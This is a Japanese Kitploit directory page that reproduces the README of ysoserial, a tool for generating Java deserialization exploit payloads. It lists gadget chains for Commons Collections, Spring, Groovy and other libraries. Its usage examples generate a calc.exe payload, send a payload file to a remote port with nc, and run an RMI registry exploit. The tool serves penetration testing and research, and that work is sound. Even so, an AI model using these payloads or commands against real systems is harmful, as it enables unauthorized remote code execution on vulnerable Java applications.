Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ysoserial — 安全でないJavaオブジェクトのデシリアライゼーションを悪用するペイロードを生成するための概念実証(PoC)ツール | Kitploit
ツール/GitHubGitHub/al1ex/ysoserial
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHubal1ex/ysoserial

ysoserial

安全でないJavaオブジェクトのデシリアライゼーションを悪用するペイロードを生成するための概念実証(PoC)ツール

リポジトリを見る
21年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ysoserial

GitHub release Travis Build Status Appveyor Build status JitPack

安全でないJavaオブジェクトのデシリアライゼーションを悪用するペイロードを生成するための概念実証ツールです。

ロゴ

説明

AppSecCali 2015のトーク「Marshalling Pickles: オブジェクトのデシリアライズがあなたの一日を台無しにする仕組み」の一部として当初リリースされ、Apache Commons Collections (3.x および 4.x)、Spring Beans/Core (4.x)、Groovy (2.3.x) 向けのガジェットチェーンを備えていました。その後、JRE <= 1.7u21 やその他のいくつかのライブラリ向けの追加ガジェットチェーンを含むよう更新されています。

ysoserial は、一般的なJavaライブラリで発見されたユーティリティとプロパティ指向プログラミングの「ガジェットチェーン」のコレクションです。適切な条件下では、オブジェクトの__安全でないデシリアライゼーション__を実行するJavaアプリケーションを悪用できます。メインドライバプログラムは、ユーザー指定のコマンドを受け取り、それをユーザー指定のガジェットチェーンでラップして、これらのオブジェクトをstdoutにシリアライズします。クラスパス上に必要なガジェットを持つアプリケーションがこのデータを安全でない方法でデシリアライズすると、チェーンが自動的に呼び出され、アプリケーションホスト上でコマンドが実行されます。

脆弱性は、安全でないデシリアライゼーションを実行するアプリケーション側にあり、クラスパス上にガジェットが存在することにはないことに注意してください。

免責事項

このソフトウェアは、純粋に学術研究と効果的な防御技術の開発を目的として作成されたものであり、明示的に許可された場合を除き、システムへの攻撃に使用することを意図したものではありません。プロジェクトメンテナは、ソフトウェアの誤用について責任を負いません。責任を持って使用してください。

使用方法

root@kitploit:~
$  java -jar ysoserial.jar
Y SO SERIAL?
Usage: java -jar ysoserial.jar [payload] '[command]'
  Available payload types:
       Payload             Authors                                Dependencies
     -------             -------                                ------------
     AspectJWeaver       @Jang                                  aspectjweaver:1.9.2, commons-collections:3.2.2
     BeanShell1          @pwntester, @cschneider4711            bsh:2.0b5
     C3P0                @mbechler                              c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Click1              @artsploit                             click-nodeps:2.3.0, javax.servlet-api:3.1.0
     Clojure             @JackOfMostTrades                      clojure:1.8.0
     CommonsBeanutils1   @frohoff                               commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                               commons-collections:3.1
     CommonsCollections2 @frohoff                               commons-collections4:4.0
     CommonsCollections3 @frohoff                               commons-collections:3.1
     CommonsCollections4 @frohoff                               commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner            commons-collections:3.1
     CommonsCollections6 @matthias_kaiser                       commons-collections:3.1
     CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
     FileUpload1         @mbechler                              commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                               groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser                       javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPClient1         @mbechler
     JRMPClient2         @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                              json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser                       javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711            jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser                       js:1.7R2
     MozillaRhino2       @_tint0                                js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                              rome:1.0
     Spring1             @frohoff                               spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                              spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Vaadin1             @kai_ullrich                           vaadin-server:7.7.14, vaadin-shared:7.7.14
     Wicket1             @jacob-baines                          wicket-util:6.23.0, slf4j-api:1.6.4

使用例

root@kitploit:~
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

インストール

GitHub release

GitHubリリースから最新リリースのJARをダウンロードしてください。

ビルド

Java 1.7+ と Maven 3.x+ が必要です。

mvn clean package -DskipTests

コードステータス

Build Status Build status

コントリビューション

  1. フォークする
  2. フィーチャーブランチを作成する (git checkout -b my-new-feature)
  3. 変更をコミットする (git commit -am 'Add some feature')
  4. ブランチにプッシュする (git push origin my-new-feature)
  5. 新しいプルリクエストを作成する

関連項目

  • Java-Deserialization-Cheat-Sheet: 脆弱性、ツール、ブログ/記事などの情報
  • marshalsec: さまざまなJavaデシリアライゼーション形式/ライブラリ向けの類似プロジェクト
  • ysoserial.net: .NETデシリアライゼーション向けの類似プロジェクト
ツールをダウンロード